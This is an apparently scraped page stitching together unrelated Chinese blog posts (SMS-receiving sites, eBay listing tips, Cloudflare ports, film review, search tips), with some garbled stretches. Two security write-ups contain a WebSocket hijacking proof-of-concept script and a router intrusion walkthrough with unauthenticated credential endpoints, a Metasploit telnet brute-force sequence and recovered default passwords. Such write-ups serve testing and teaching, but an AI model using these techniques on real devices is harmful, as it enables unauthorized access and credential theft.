旧地址yunduanxin.net - 云短信 免费在线接收短信验证码：号段好，美国,加拿大,英国,中国
Receive SMS Online For Free - Free：美国,英国,奥地利,瑞典,比利时
Receive FREE SMS online：美国,法国,俄罗斯,澳大利亚,英国,加拿大,瑞士等各国
Receive Online SMS - 美国,瑞典,挪威,西班牙,英国
Receive SMS Online - 国外免费临时手机号
Receive SMS Online - 俄国,英国,乌克兰
Receive SMS Online - 美国,加拿大,西班牙
Receive Free SMS - 美国,英国,法国,波兰,比利时,加拿大
免费接码|短信验证码|在线接收短信|接码平台 - 中国,缅甸,美国
Z-SMS - 在线云短信网页版 - 免费接码平台：中国,美国,缅甸,爱沙尼亚,等多国
FreePhonenum - 国外免费临时手机号（中文）美国,加拿大：支持免费发短信
Receive a SMS Online：美国,英国,法国,加拿大等全球各国，
旧地址Free SMS Numbers Online - 美国,英国,加拿大,波兰
Receive SMS online for Free：美国,英国,加拿大,瑞典,法国,马来西亚,印度尼西亚
SMS-Receive - 俄罗斯,法国,罗马尼亚,西班牙,荷兰,英国
Free Online Phone - 美国,加拿大,英国,瑞典
Receive SMS Online：美国,英国,法国,加拿大等全球各国
Receive SMS Online - 国外免费临时手机号
Receive SMS Online for FREE：英国,罗马尼亚,美国,西班牙,法国,德国,俄罗斯
RECEIVE SMS ONLINE - 美国,加拿大,英国
Twilio - 用于SMS，语音，视频和身份验证的通信API：支持API调用，看上去很不错
小鸟接码平台 - 免费提供接码服务 - Receive SMS Online
becmd.com - 免费短信验证码接收平台：https://www.becmd.com/：2021年7月2日，疑似已废弃，已跳转到电影网站云短信 - 免费在线短信接收：https://sms.cm/：疑似已废弃在线短信验证码接收：http://www.smszk.com/：2020年2月14日发现已停止解析由于平台较多，不能逐一验证、及时更新，欢迎联系我纠错、补充！
- 博客 Jiajun的编程随想 2019-03-29 08:00:00《Golang/Python最佳实践》## 统一好返回格式- 使用gRPC...
- 博客 庭说 2019-03-28 00:00:00
本文请配合 eBay 大学的 单属性 Listing 刊登 教程一起观看。请注意：有些刊登项目是收费的（详见 费用总览）。
Listing details刊登细节Title标题- 不要出现 China
- 去掉品牌名字
- 可加上 100% Brand New（全新）
- 不要堆砌关键词
- 借鉴大卖家的写法
- eBay 关键词工具：Keyword Tool、WatchCount、PicClick
- Stand out with a bold title in search results（标题粗体）：不勾选（eBay 付费刊登项目）
Subtitle($1.50)副标题- 不填写
Category分类- 新手卖家会限制类目
Second category(fees may apply)第二分类- 不添加
Variations多属性- 例如多个颜色（会消耗多个刊登额度，前期少用）
UPC通用产品代码（Universal Product Code）- Does not apply（不提供）
Condition物品状况- New（全新）
Default Photos产品图片- 支持多选上传
- 主图下面会显示 Main photo
- 第二张可以放速卖通的买家秀
- eBay 官方图片规范
- Display a large photo in search results with Gallery Plus ($2.00)：不勾选
Item specifics物品属性Brand品牌- Unbranded（无品牌）
MPN制造商部件编号（Manufacturer Part Number）- Does Not Apply（不提供）
Item description物品描述为了照顾移动端的用户，避免过于花哨繁杂：
- 产品参数：与图片一致- 应用场景- 物流政策：发货时效（Delivery Time）- 退换货政策- 常见问题：解决买家在决定购买前可能遇到的问题- 卖家秀：贵在真实；不要露脸（或者打上马赛克），避免侵犯肖像权；如果有时间，文字评价也一并附上- 分析差评，改进产品描述。例如买家说大小不合适，就在产品描述中加入尺寸大小相关的参数
- 排版利器：Typora + Markdown
- 如果有时间把 单位换算 成国外常用单位，例如把 cm（厘米）换算成 inches（英寸），kg（千克）换算成 ounces（盎司）
Selling details 销售详情
Format售卖方式- 选择 Fixed price（固定价格，一口价），而不是 Auction style（拍卖）
Duration刊登在线持续时间- Start my listings when I submit them（长期在线，Good 'Til Cancelled）
Price价格Best Offer议价- 不接受 议价
Quantity库存数量- 测试选品阶段，库存填 1 个
Payment options付款方式- 输入 PayPal 收款的 Email
- 开启 Require immediate payment with Buy It Now（立即付款）
Sales tax消费税- 不填
Return options退货选项- Domestic returns accepted：接受国内退货
- After receiving the item, your buyer should contact you within: 30 Days 内可退货
- Return shipping will be paid by Buyer：退货运费由买家
Buyer承担 - International returns accepted：同理，接受国外（刊登站点以外的国家）退货
Shipping details货运细节Domestic shipping国内运输- Flat:same cost to all buyers：每件物品设定固定运费
- Economy Shipping from China/Hong Kong/Taiwan to worldwide (11 to 35 business days)：Free shipping（包邮）
- Handling time：处理时间 是指从您收到买家的付款后，到您发货后得到扫描信息之间的时间。当然，处理时间只计算工作日，周末和假期是不计入处理时间。新手设为 2 ~ 4 天，成为 Top Rated Seller 之后设为 1 天
International shipping国际货运（除美国外）- Flat:same cost to all buyers：每件物品设定固定运费
- Ship to Choose custom location：自定义可发货的国家或地区
- Economy Shipping from China/Hong Kong/Taiwan to worldwide：Cost 是单件的运费；Each additional 是每增加一件物品需多付的运费，例如客户选购了 2 件商品，第一件运费是 $5，第二件运费附加 $2，运费总共是 $12
- AliExpress ePacket 物流方案介绍
- e 邮宝资费
- 支持 ePacket 投递的国家
Exclude shipping locations排除派送地区列表- 针对那些物流还不稳定、不及时的地区，设置一些无法派送的地区列表，以保证您的所有交易都可以按预期交付
- 除了在产品刊登时设置排除派送地区列表，还可以从 「My eBay > My Account > Site Preferences > Selling Preferences > Shipping Preferences > Exclude shipping locations」全局设置（传送门）
- 勾选 Domestic 的 3 个地区和 Additional Locations 的 PO Box
- International 中勾选不支持 ePacket 的国家
Package weight & dimensions包装信息Item location物品所在地- 如实填写；不要出现中文，填写拼音全称，如 Shenzhen
最后，检查一遍 listing，就可以刊登上线了。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2019-03-25 17:39:40
Cloudflare CDN 如何实现自定义源站端口、代理、端口转发任何协议？
根据官方参考文章内容“Which ports will Cloudflare work with?”所述，Cloudflare 支持以下方式的自定义端口访问。
首先在 DNS 解析处正常添加解析记录，然后访问的时候支持这样：
HTTP 流量可以使用的回源端口
1 2 3 4 5 6 7http://lcx.cc:80 --> http://源服务器地址:80 http://lcx.cc:8080 --> http://源服务器地址:8080 http://lcx.cc:8880 --> http://源服务器地址:8880 http://lcx.cc:2052 --> http://源服务器地址:2052 http://lcx.cc:2082 --> http://源服务器地址:2082 http://lcx.cc:2086 --> http://源服务器地址:2086 http://lcx.cc:2095 --> http://源服务器地址:2095HTTPs 流量可以使用的回源端口
1 2 3 4 5 6https://lcx.cc:443 --> https://源服务器地址:443 https://lcx.cc:2053 --> https://源服务器地址:2053 https://lcx.cc:2083 --> https://源服务器地址:2083 https://lcx.cc:2087 --> https://源服务器地址:2087 https://lcx.cc:2096 --> https://源服务器地址:2096 https://lcx.cc:8443 --> https://源服务器地址:8443即：访问的前后端都加特定的端口，成对访问。
需要注意的是，由于众所周知的备案问题，CloudFlare 对外提供服务的端口在企业用户开启使用大陆 CDN 节点的情况下（备案后），就只能使用 80、443 端口，也就是说中国境内的 HTTP/HTTPS 流量节点只支持 80 和 443 端口。
同时 Cloudflare 还新出了一个端口转发服务：Proxy Anything，目前是免费的，需要申请试用，支持转发任何协议、任何数据（目前仅开放了 TCP 协议），具体如何申请参考底下。
So，掌握了这些，你就可以将 V2Ray、Shadowsocks（ShadowsocksR/SS/SSR/酸酸乳） 或游戏服务器等服务架设在 Cloudflare 高速 CDN 网络上，还能隐藏原始 IP 地址，防止被封，你懂的……
那么还有个问题是，这样自定义端口的方式，访客访问的时候会很不方便，总不能让访客每次都手工输入端口号吧？而且这玩意也不好记……
其实，Cloudflare 已经帮我们解决这个问题了，这个功能就是：页面规则（Page Rules）
通过自定义页面规则，可以在访客输入不带端口的主域名 https://lcx.cc/ 的时候自动跳转到 https://lcx.cc:自定义端口/，实现无感知访问跳转，不用手动输入自定义的端口了，比较方便。
例如创建以下页面规则：
规则：lcx.cc:80/*
类型：转发 URL，301 永久重定向
注意：HTTPS 网站建议开启“Always Use HTTPS”。
具体用法请参考官方说明文档：了解和配置 Cloudflare Page Rules 页面规则教程
参考资料
1、CloudFlare上线了新的Proxy Anything选项, 支持转发TCP连接
可以说是期待了一段时间的Cloudflare的TCP转发功能算是上线了,固定了TCP端口(我看到的反正是43和44),并支持HAProxy所支持的PROXY v1协议,已测试可爱的V2Ray/Shadowsocks都能使用,并且延迟和带宽都还不错(此处仅指我本地测试结果).
设置很简单,不多说什么了,大家自己去用用看.
另外,恕鄙人不靠谱预测一下,从选端口的时候同时选协议并且选项叫protocol,以及申请表单标题是L4 Proxy看,应该后续有udp支持.
补一个说明:本人绝对的免费用户,如果你没看到proxy anything的选项应该是先前没有提交试用表单.
申请地址: https://goo.gl/forms/Oc2jyyo0kXsrMyw33
设置指南: https://docs.google.com/document/d/1jXdmDH8QBg1OQEG5Mb18jYjoPg-XJRuls4IdnyBofLw/edit?usp=sharing
论坛反馈: https://community.cloudflare.com/t/proxy-anything-beta-feedback/11112
2、Which ports will Cloudflare work with?
Cloudflare将与哪些端口配合使用？
Cloudflare代理应用程序级别（第7层）的HTTP流量和传输级别（第4层）的TCP流量的流量。
概观
Cloudflare几乎可以代理所有TCP端口。我们支持两种代理：
应用程序级别（第7层）HTTP代理，以及 频谱，传输级别（第4层）TCP代理
HTTP代理
Cloudflare可以代理通过下面列出的HTTP / HTTPS端口的流量。
如果您的流量位于不同的端口，则可以将其作为我们不代理的内容添加为Cloudflare DNS区域文件中的记录（灰色云=没有Cloudflare代理或记录缓存）。
Cloudflare支持的HTTP端口是：
80,8080,8880,2052,2082,2086,2095
Cloudflare支持的HTTPs端口是：
443,2053,2083,2087,2096,8443
对于Pro计划及更高版本，您可以使用WAF规则ID 100015阻止80和443以外的端口上的流量：“阻止对除80和443之外的所有端口的请求”。
端口80和443是唯一的端口：
对于启用了中国网络的区域内的中国境内的HTTP / HTTPS流量 对于Cloudflare应用程序能够代理 当CloudFlare的缓存可用
频谱代理
Cloudflare Spectrum是一种企业计划产品，支持通过任何端口代理任意TCP协议。唯一的例外是端口21，其中不支持代理。
要了解更多信息，请访问Cloudflare Spectrum文档站点。
以下是英文原文
Cloudflare proxies traffic for HTTP traffic at the application level (Layer 7) and TCP traffic at the transport level (Layer 4).
Overview
Cloudflare can proxy almost all TCP ports. We support two flavors of proxy:
an application level (Layer 7) HTTP proxy, and Spectrum, a transport level (Layer 4) TCP proxy
HTTP proxying
Cloudflare can proxy traffic going over the HTTP/HTTPS ports listed below.
If your traffic is on a different port, you can add it as a record in your Cloudflare DNS zone file as something we don’t proxy (gray cloud = no Cloudflare proxy or caching on a record).
The HTTP ports that Cloudflare support are:
80,8080,8880,2052,2082,2086,2095
The HTTPs ports that Cloudflare support are:
443,2053,2083,2087,2096,8443
For the Pro plan and above, you can block traffic on ports other than 80 and 443 using WAF rule id 100015: “Block requests to all ports except 80 and 443”.
Ports 80 and 443 are the only ports:
For HTTP/HTTPS traffic within China for zones that have the China Network enabled For Cloudflare Apps to be able to proxy on Where Cloudflare Caching is available
Spectrum proxying
Cloudflare Spectrum is an Enterprise plan product that supports proxying arbitrary TCP protocols over any port. The only exception is port 21, where proxying is not supported.
To learn more, visit the Cloudflare Spectrum documentation site.
- 博客 Jiajun的编程随想 2019-03-24 08:00:00《读《毛泽东选集》》> 此处为读毛选的笔记。此文纯属学习，与任何政治观点、派别无关。- 要学会抓主要矛盾：谁是我们的敌人？谁是我们的朋友？这个问题是革命的首要问题。中国过去一切革命斗争成效甚小，其基本原因...
- 博客 轶哥博客 2019-03-23 10:42:48<>在Widow平台，使用Node.j实现原生打印PDF通常需要借助C++。例如ode-riter，需要安装Pytho、Viual Studio，同时还需要使用ode-dfium进行PDF转EMF。<>也有一些二进制(exe)命令行打印解决方案，但是都有一些缺陷。<>
例如： - 借助 Adoe Reader 或 Acroat 实现打印，则Widow XP、7、10需要安装不同版本的 DPF 软件，并且在打印时会打开该软件。
- Sumatra PDF可以静默进行命令行打印，但是在80mm热敏纸打印机中的打印效果较差（不清晰）。
PDFium。 - 博客 Vulkey_Chen's Blog 2019-03-20 00:00:00
WebSocket 跨域劫持漏洞
WebSocket 跨域劫持漏洞，英文名：Cross-site WebSocket Hijacking，漏洞类型：全能型CSRF（可读、可写）。
了解WebSocket
Websocket 优点
- 支持双向通信，实时性更强。
- 更好的二进制支持。
- 较少的控制开销。连接创建后，ws客户端、服务端进行数据交换时，协议控制的数据包头部较小。在不包含头部的情况下，服务端到客户端的包头只有2~10字节（取决于数据包长度），客户端到服务端的话，需要加上额外4字节的掩码。而HTTP协议每次通信都需要携带完整的头部。
- 支持扩展。ws协议定义了扩展，用户可以扩展协议，或者实现自定义的子协议。（比如支持自定义压缩算法等）
Websocket 如何建立连接
画了一张图让你了解：
漏洞产生
建立Websocket连接无验证。
案例
1.如下请求：
GET / HTTP/1.1 Host: localhost:8080 Origin: http://127.0.0.1:3000 Connection: Upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: w4v7O6xFTi36lq3RNcgctw==篡改Origin，发现没有对Origin进行验证，也可以跨域进行协议升级。
2.进一步验证
2.1获取到了一个发送评论的请求 （使用BurpSuite->Proxy模块->Websockets History查看，这里是对应的 Direction值为Outgoing为发出的请求，Incoming为发出请求对应的响应信息）
2.2使用JavaScript创建Websocket请求
如上图所示Outgoing的内容为“我是帅key的可爱小迷弟”，那么发送的数据就是这个。
<meta charset="utf-8"> <script> function ws_attack(){ var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://，如果请求的Websocket服务支持HTTPs就写成wss:// ws.onopen = function(evt) { ws.send("我是帅key的可爱小迷弟！"); }; ws.onmessage = function(evt) { ws.close(); }; } ws_attack(); </script>2.3验证发现可以请求并成功进行重放，存在Websocket跨域劫持
（这里只是简单的评论请求，危害就是：点我链接让你评论我想评论的，试想：如果是修改密码的WebSocket请求存在劫持那么问题就大了～）
漏洞利用
攻击流程跟以往的交互类漏洞没什么区别（点我链接读取你XXX、点我链接让你XXX）：
来一个圈子”铸剑实战靶场”的截图，自我体会：
PoC代码编写
<meta charset="utf-8"> <script> function ws_attack(){//自定义函数ws_attack //定义函数功能 //创建WebSocket并赋值给ws变量 var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://，如果请求的Websocket服务支持HTTPs就写成wss:// ws.onopen = function(evt) { //当ws(WebSocket)处于连接状态时执行 ws.send("我是帅key的可爱小迷弟！"); }; ws.onmessage = function(evt) { //当ws(WebSocket)请求有响应信息时执行 //注意：响应的信息可以通过evt.data获取！例如：alert(evt.data); ws.close(); }; } ws_attack();//执行ws_attact函数 </script>修复方法
综合建议：校验Origin头
Reference
https://www.cnblogs.com/chyingp/p/websocket-deep-in.html
- 博客 庭说 2019-03-20 00:00:00
这是一个信息爆炸的时代，如何在网络上体面地「冲浪」？我有我的方法。
将 Gmail 的所有未读邮件标记为已读
- 打开 Gmail
- 在搜索栏输入
in:inbox is:unread，筛选出收件箱中的所有未读邮件。 - 点击左上角的
选择全部（搜索框的左侧下方）。 - 鼠标平行右移，找到
更多操作>标记为已读
太棒了！收件箱里一封未读邮件都没有，太清爽了。
无法连接局域网打印机
原因一
可能是因为没有启动
Workstation服务：使用 SMB 协议创建并维护客户端网络与远程服务器之间的连接。如果此服务已停止，这些连接将无法使用。如果此服务已禁用，任何明确依赖它的服务将无法启动。
Win+S打开搜索：服务- 右击
Workstation，选择属性启动类型：自动服务状态：正在运行，否则点击启动
原因二
当使用内网 IP（例如
192.168.1.56）无法连接打印机时，试试通过计算机名添加打印机：- 右键单击
我的电脑（计算机）-属性 计算机名、域和工作组设置-更改设置- 复制
计算机全名
或者：
Win+S打开搜索：查看电脑名称- 复制
设备名称
笔记本电脑无法开机
按下电源键（开机键）毫无反应，怎么办？
- 把电池拔掉，放置一段时间。
- 长按电源键 15 秒以上。
- 插上电源（不插电池）。
- 也许就可以开机了。
文件下载
如何直接下载百度网盘的文件（无需登录账号）
- 方法：在
baidu后面加wp（网盘 / 我呸的拼音首字母） - 例如：
pan.baidu.com/s/1dyGdFw>pan.baiduwp.com/s/1dyGdFw
压缩 GIF
使之可以在微信上自动播放
在限制多多的微信 App 上，1MB 以下 GIF 图片才能自动播放。如何压缩到 1 MB 以下：
最后推荐一个可以批量修改图片大小的网站：iLoveIMG
压制 B 站视频
- 编码器：H.264
- 码率模式
- 二次编码模式（2pass）
- 视频码率：1150 Kbps ~ 1350 Kbps
- 音频码率：320 Kbps / 128 Kbps
- 平均码率：两者加起来，小于 1500 Kbps（1400 Kbps ~ 1450 Kbps 为佳）
- 固定质量模式（CRF）
- 视频质量：23~26 CRF（越小质量越好，大于 18 为佳
- 二次编码模式（2pass）
- 封装（容器）两次，第一次先压制成 MP4 格式，第二次再封装成 FLV。分辨率：960×540
其他：
- 在线旋转视频：点击文件链接，右键另存为即可下载到电脑上（视频文件大小限制为 200M）
头像生成软件
- FaceYourManga
- Dr_Ting 的头像就是在这个网站「捏」出来的
- 下载高清头像需要付费
- Avataaars Generator：可下载 SVG 文件
- Gopherize.me：A Gopher（地鼠） pic that's as unique as you
- SuperMii酷脸：没有网页版，需下载 app
- Robohash：Make robot/alien/monster/kitten gravatar for any text（CC BY 3.0）
文件命名
- 如果需要分隔文件名的关键词，用下划线，而不是空格。
- 如果需要以英文字母命名，使用小写字母，而不是大小写混用。
- 临时输入大写字母：Shift + 小写字母。
国家标准查阅
中国地图
包含
.ai、.psd、.jpg、.png心理学
拆屋效应
- 先提出一个很夸张的要求，再提出一个合理的要求
- NO：屋子暗，开个天窗
- OK：屋子暗，拆掉屋顶，NO，那开个天窗吧
框架效应
- NO：1 块钱的冰棍，现金支付，加 5 毛
- OK：2 块钱的冰棍，微信支付，减 5 毛
如何设计强壮的密码
@)!(是由 shift +2019输出的t@)!(b首字母t和尾字母b代表“淘宝”!doGyMhO是OhMyGod!的反转G@o)o!g(l!e)是Google和 shift +201910的穿插组合- 银行卡的密码——前四位和最后两位数的和、特别日期 MMDD 加上卡号首尾两位或末两位等……
降低 PayPal 手续费
- 更改币种兑换程序 从而降低手续费：
用 PayPal 的兑换程序完成使用我的卡币种的交易改成在给我的账单中使用卖家列出的币种。
其他
- Witeboard：打开即用的免费在线白板工具
- 心情烦躁，使用 潮汐冥想 安抚焦虑的情绪
- 奶牛快传：文件传输服务
- 让 Excel 表格自动更新日期
- 日期 + 星期：
=TEXT(TODAY,"YYYY 年 MM 月 DD 日 AAAA") - 日期 + 7 天：
=TEXT(TODAY()+7,"YYYY 年 MM 月 DD 日 AAAA") - 添加前缀：
="INV"&TEXT(TODAY(),"YYYY-MM-DD")
- 日期 + 星期：
- 爱达杂货铺
- 资源搜索 - 虫部落
- 大力盘搜索 或 大圣盘搜索
- 假装 Windows 升级界面：用假的 Windows 升级界面骗你的同事和朋友吧，以此达到此时无法工作的假象。
- OCR 图片识别文字工具 - 蛙蛙在线工具
- 中国失踪人口档案库
- 中国法律服务网：智能法律咨询，根据问卷提示填写相关信息，在线为您免费出具 法律意见书，供您参考
- 公交线路辐射图（周边公交通向哪）：作者的介绍：做完这个网站，终于知道任意位置的公交都通向哪里了
- 舔狗日记
- 在线 DOS 游戏合集
- QQ 空间导出助手：落叶随风，青春，稍纵即逝，QQ 空间，一个承载了很多人的青春的地方。万一腾讯倒闭，记录着我们的青春的数据怎么办？数据，还是掌握到自己手里的好，QQ 空间导出助手，可以导出备份 QQ 空间的日志、私密日志、说说、相册、留言板、QQ 好友、视频、收藏夹为文件，便于永久保存与迁移。
- 方方格子：一个专注 Excel 学习交流、资源下载的网站。
- 小恐龙公文排版助手 for Word/WPS
- 人事星球，为 HR 提供各类专业的人力资源文档模板，所有资料均可免费下载。
- 如何获取微信公众号的二维码：https://open.weixin.qq.com/qr/code?username=Ting_Talk
- 制作 Wi-Fi 卡片，打印或者保存在手机里，访客扫描二维码即可连接 Wi-Fi。
关联阅读：数字独立与自由
- 博客 Jiajun的编程随想 2019-03-19 08:00:00《GORM源码阅读与分析》最近读了一下GORM的源码，以下是简述。我们将以一个查询来看GORM是怎么调用的。## 事前准备...
- 博客 Jiajun的编程随想 2019-03-16 08:00:00《随想》这是最近的一些新的想法，记录下来。## 技术为业务服务...
- 博客 Jiajun的编程随想 2019-03-15 08:00:00《Golang中的错误处理》## error是个啥Golang的error是一个接口...
- 博客 Jiajun的编程随想 2019-03-14 08:00:00《Golang 的槽点》Golang虽然说打着简洁的名号，但是很多设计实际上并不简洁，且由于Go1兼容性保证的原因，这些都不能被修正。## 声明方式太多...
- 博客 王子亭的博客 2019-03-13 01:00:00
除了是哆啦 A 梦的铁杆粉丝之外，我也算是刘慈欣的粉丝 —— 三体自然不用说，其他所有的短篇小说我都看过两到三遍，这些短篇小说一点都不比三体逊色，流浪地球就是其中之一。
刘慈欣的小说向来重设定而轻情节，小说关注的是全人类的命运，主角只是叙述的视角而非故事的核心。在阅读小说的过程中，你体验到的不是沉浸感，而是一种站在上帝视角观察人类的新奇感，其中的人物只是当时社会中人类的典型代表。他会在小说中使用类似「刹车时代」、「威慑纪元」这样的标题来强化这种上帝视角，让书中短短几句的描述比电影的特效画面更加让人感到震撼。
最近我又重温了刘慈欣的几个短篇小说，包括：
- 流浪地球：给地球装上发动机来驶离太阳系
- 镜子：一台能够根据宇宙的初始状态模拟整个宇宙的计算机
- 吞食者：外星人通过环状太空船套住地球并掠夺地球的资源
- 山：一个诞生于行星地心的机械文明探索世界的故事
- 地火：通过点燃地下的煤层的方式来开采水煤气
- 地球大炮：挖一条贯通地球地心的隧道
- 赡养人类：在贫富差距达到极致之后，99% 的财富都集中到了一个人
回到流浪地球这个电影，视觉效果我还是很满意的，也确实是头一次看到中国的地标能够出现在科幻片或者灾难片中。情节上前半部分对于世界观的介绍还可以，但后半部分就非常俗套了，就是一个很普通的、几个英雄拯救地球的故事。其实我更宁可电影能从中间结束 —— 让地球撞木星也不是不可以。
前面提到过，流浪地球的小说关注的是全人类的命运、全人类在面对灾难时的反应，给人一种宏大和震撼的感觉，而电影则完全没有继承小说的精神内核，显得格局太小，更偏向于主角在整个大的世界观中的个人体验，而不是整个流浪地球计划。
我认为小说中有两个关键的点电影没有表达出来，一是人们对于「太阳」的情感的变化，以前太阳象征着温暖、壮美，但当人们知道这个太阳随时可能会爆炸之后，太阳便变成了恐惧的象征。在变轨的过程中地球一次次地接近和远离太阳，每当地球到达近日点的时候，这种恐惧就会到达顶峰。这种恐惧在几代人的时间里渗透到了社会文化和每个人的心中。而当地球逃离了太阳系、从对太阳的恐惧中解脱之后，人们又开始怀念太阳的温暖，开始怀疑整个计划是否正确。
另外一点是人们面对灾难时的冷静和理性，小说中有一个情节是在地下城遇到岩浆涌入需要撤离时，自动按照年龄排成一队，因为通常来说越年轻的人对于社会的价值会越大。因为人类知道了自己的命运，但又不知道自己是否可以逃离，太阳又永远悬在天上，这种恐惧深刻地影响了人们对于生活的态度，这也可以解释为什么人类能够组成联合政府、能够在全世界范围内协调和完成如此大规模的地球发动机。
当然这些评价是我从原著读者的角度来说的，如果作为一个普通的的科幻电影，或普通的国产电影，它应该是合格的。结尾的地方有一个很短的镜头是北京的地下城里有一队人在游行，举着一个「我们要太阳」的牌子，这个才是小说本来的结尾，算一个彩蛋吧。
- 博客 Jiajun的编程随想 2019-03-12 08:00:00《一个想当然的bug》许久不写Python，`"".split(",")` 的结果我已经不能脑内运算了：```python...
- 博客 Vulkey_Chen's Blog 2019-03-12 00:00:00
前言
过个年，WiFi密码忘记了…光猫管理密码也忘记了（这个光猫也不支持物理按钮重置设置），但是手机还连着WiFi，正规操作找回不了密码，那就用咱们测试的思维来试试PWN掉这个路由器。
过程
未授权获取WiFi连接密码
还好之前没闲着，发现管理的几个未授权访问的接口如下:
获取宽带账号密码:
/GET_USER_WAN_PPP_INFO.json获取 WLAN 连接信息:
/GET_WLAN_LINK_INFO.json获取 DHCP 信息:
/GET_NET_DHCP_INFO.json手机访问
http://192.168.1.1/GET_WLAN_LINK_INFO.json，获取密码：xxx，电脑连接登录信息收集
端口收集结果
Scanning promote.cache-dns.local (192.168.1.1) [1080 ports] Discovered open port 80/tcp on 192.168.1.1 Discovered open port 8080/tcp on 192.168.1.1目录扫描结果
获得的一些目录：
/login.html /login.asp /index.asp /telnet.asp /upgrade.asp ...突破口
在目录扫描的时候，发现
/telnet.asp-> 跳转到/cgi-bin/telnet.asp如下图所示界面：
这个功能可以开启光猫的
telnet服务，先开启，然后再使用Nmap扫描下端口：Scanning promote.cache-dns.local (192.168.1.1) [1080 ports] Discovered open port 8080/tcp on 192.168.1.1 Discovered open port 80/tcp on 192.168.1.1 Discovered open port 8023/tcp on 192.168.1.1发现多了个8023端口，其对应的服务果然是telnet：
8023/tcp open telnet | fingerprint-strings: | GenericLines: | Star-Net Broadband Router | Login: | Password: | GetRequest: | Star-Net Broadband Router | Login: GET / HTTP/1.0 | Password: | Help: | HELP | Star-Net Broadband Router | Login: Password: | NCP: | Star-Net Broadband Router | Login: DmdT^@^@^@ | ^@^@^@^A^@^@^@^@^@ | NULL: | Star-Net Broadband Router | Login: | RPCCheck: | Star-Net Broadband Router | Login: | ^@^@(r | SIPOptions: | Star-Net Broadband Router | Login: OPTIONS sip:nm SIP/2.0 | Via: SIP/2.0/TCP nm;branch=foo | From: <sip:nm@nm>;tag=root | <sip:nm2@nm2> | Call-ID: 50000 | CSeq: 42 OPTIONS | Max-Forwards: 70 | Content-Length: 0 | Contact: <sip:nm@nm> | Accept: application/sdp | Password: | tn3270: | ^@IBM-3279-4-E | ^YStar-Net Broadband Router |_ Login:telnet开启，爆破一波走起。（Caimima生成个密码口令）
试了nmap貌似没啥用，开个msfconsole来爆破：
use auxiliary/scanner/telnet/telnet_login set RHOSTS 192.168.1.1 #设置模板 set RPORT 8023 #设置端口 set USER_FILE /root/user.txt #设置用户字典 set PASS_FILE /root/pass.txt #设置密码字典 exploit 192.168.1.1 #启动幸运的是爆破出来了，是组合弱口令：
获取密码
运行
telnet 192.168.1.1 8023输入账号密码进去，执行sh发现可以直接进入shell：
接下来就是找密码到处瞎翻（没有PWN路由器的经验，很难受），执行
ls -a -l发现有软链接，很多指向了/tmp目录：
于是进入
/tmp目录，到处翻腾：
利用这几个关键词看看是否有文件中包含了：
admin、CMCC(中国移动)、password、usere.g.
grep 'admin' ./*，等了老半天了，发现/tmp/ctromfile.cfg文件内有点东西：
复制密码登录，怼进去：
信息整合
做完测试并针对测试过程的信息进行整合，最后形成字典以便后面再次遇到～
-
通过读配置文件获取的一系列用户名、密码：
9vvrr、admin、aDm8H%MdA、CMCCAdmin、telnetuser、user - 文件、目录路径：
/GET_USER_WAN_PPP_INFO.json/GET_WLAN_LINK_INFO.json/GET_NET_DHCP_INFO.json/telnet.asp/index.asp/user.html/upgrade.asp/cgi-bin//content.asp
- 指纹特征：
- 标题：
HGU LOGIN - 图片：
/webstyle/images/login-mobile-qrcode-anhui.png -> 23cb4f5e63e0cd47f8788a6ca3558eab - JS：
/webstyle/js/br_login_nc.js
- 标题：
结尾
最后我只是默默的把user用户密码改了一下～
-
- 博客 庭说 2019-03-11 00:00:00
在大型局域网（互联网）的今天，你以为搜索是一门技术，其实搜索是一门忍术。你必须忍受不同平台各自为阵，内容信息就像孤岛，也必须忍受搜索结果被活埋在广告堆中……以至于，目前来说，好的搜索方式，不止是掌握了搜索方法，还要，找对平台。by Topbook
有人说，搜索引擎是 PC 互联网的完美商业模式，这个论断被 Google 和百度证明。可是移动互联网来了，Web 的连接性、开放性遭遇重创，一个个孤立的、封闭的 app 取代网页，成为构成移动互联网的基本单元。by keso
当我们从搜索时代过渡到如今的投喂时代，搜索也变得比从前更困难了。首先，中文互联网中几个重要平台之间并不共享数据库。这好比一个曾经包罗万象的中央图书馆分散成了几个地方图书馆。譬如说，知乎和微博都搭建了自己平台内部的搜索引擎；而如果想要搜索某个微信公众号的历史推送内容，那么腾讯自家的“搜狗搜索”就比百度或必应更方便好用；至于豆瓣，其内部甚至还并不具备一款差强人意的搜索引擎。by 中文互联网中“讨论”的消亡
独立和自由原本是我以为一个正常人都需要的东西。一直以来，一个「正常」的中国人利用百度搜索和微信公众号阅读，前者我们永远搜不到想要的东西，后者不允许外部链接导致已经足够封闭的环境更加密不透风。by MilkShake
谷歌搜索
掌握 科学上网 的方法，然后使用 Google 搜索引擎，就足以革新你获取信息的方式。
技巧
假设 Baidu 和 Google 之间差了 1024 个 Bing，如果学会以下 Tips，少说得再加 1024 个 Bing（搜索效率翻番）。
以下的 Google 搜索技巧，某些也适用于国内的搜索引擎。
NCR
强迫症患者请访问
google.com/ncr（ncr = no country redirect，禁止谷歌按照当前 IP 跳转到对应的国家或地区）。大小写不敏感
英文的大小写不影响搜索结果：搜索 TingTalk 与 tingtalk 所得到的结果是相同的。
查天气
在「天气」后加上城市名，例如 堪培拉 天气
查定义
查单词请加 define 或 meaning ，例如 define curiosity、love meaning
查假期
输入 春节，看看离过年还有多久。
计算器
输入 计算器 或者 Calculator。
或者直接输入算式：5^5（5 的 5 次方）
单位换算
换算的介词用 to 或 in 表示，例如：
VS
如果你想快速了解一个新事物是什么，一个简单的方法就是在这个词的后面加上
vs，谷歌会自动提示跟它最接近的事物。by David Foster，例如 telegram vs网站时光机
查看网站在 Google 上的缓存（快照）：cache:tingtalk.me
找歌
日出日落
运算符
不想记以下指令，直接访问 Google 高级搜索 或者借助 Funnel Search 这个浏览器插件。
从搜索结果中排除特定字词
- 在您要排除的字词前加上
- - 我想了解水果中的「苹果」：苹果 -手机 -iPhone（
-后面没有空格）
组合搜索（或）
- 在各个搜索查询之间加上
OR（一定要大写） OR可用|（在Enter键上方）代替- 例如：海贼王 OR One Piece
用英文半角括号
( )改变优先级搜索完全匹配的结果（我就是要搜这些）
- 为字词或短语加上英文引号
" " - 例如："tallest building"
- 字词的顺序也必须匹配，即
"tallest building"≠"building tallest"
搜索特定网站
- 在相应网站或域名前加上
